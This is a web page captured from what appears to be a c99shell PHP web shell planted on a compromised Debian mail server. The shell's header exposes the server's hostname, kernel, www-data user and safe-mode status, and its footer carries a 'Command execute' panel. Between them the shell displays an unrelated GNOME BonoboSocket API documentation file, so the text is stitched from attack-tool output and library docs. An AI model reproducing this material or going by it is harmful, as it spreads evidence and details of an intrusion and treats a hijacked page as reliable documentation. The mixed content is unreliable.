Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/share/doc/libbonoboui2-common/html/ drwxr-xr-x |
Viewing file: Select action/file-type:
Object HierarchyGObject +----GInitiallyUnowned +----GtkObject +----GtkWidget +----GtkContainer +----GtkSocket +----BonoboSocket DescriptionThis is an internal support routine of the X code in Bonobo. Together with BonoboPlug, BonoboSocket provides the ability to embed widgets from one process into another process in a fashion that is transparent to the user. One process creates a BonoboSocket widget and, passes the XID of that widget's window to the other process, which then creates a BonoboPlug window with that XID. Any widgets contained in the BonoboPlug then will appear inside the first applications window.
The XID of the socket's window is obtained by using
the Example 9. Obtaining the XID of a socket
Note that if you pass the XID of the socket to another
process that will create a plug in the socket, you
must make sure that the socket widget is not destroyed
until that plug is created. Violating this rule will
cause unpredictable consequences, the most likely
consequence being that the plug will appear as a
separate toplevel window. You can check if the plug
has been created by examining the
When GTK+ is notified that the embedded window has been destroyed, then it will destroy the socket as well. You should always, therefore, be prepared for your sockets to be destroyed at any time when the main event loop is running.
A socket can also be used to swallow arbitrary
pre-existing top-level windows using DetailsBonoboSockettypedef struct _BonoboSocket BonoboSocket; The GtkEditable structure contains the following field. (This field should be considered read-only. It should never be set by an application.)
BonoboSocketClasstypedef struct { GtkSocketClass parent_class; gpointer dummy[4]; } BonoboSocketClass;
bonobo_socket_new ()GtkWidget* bonobo_socket_new (void);
Create a new empty BonoboSocket.
|
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0083 ]-- |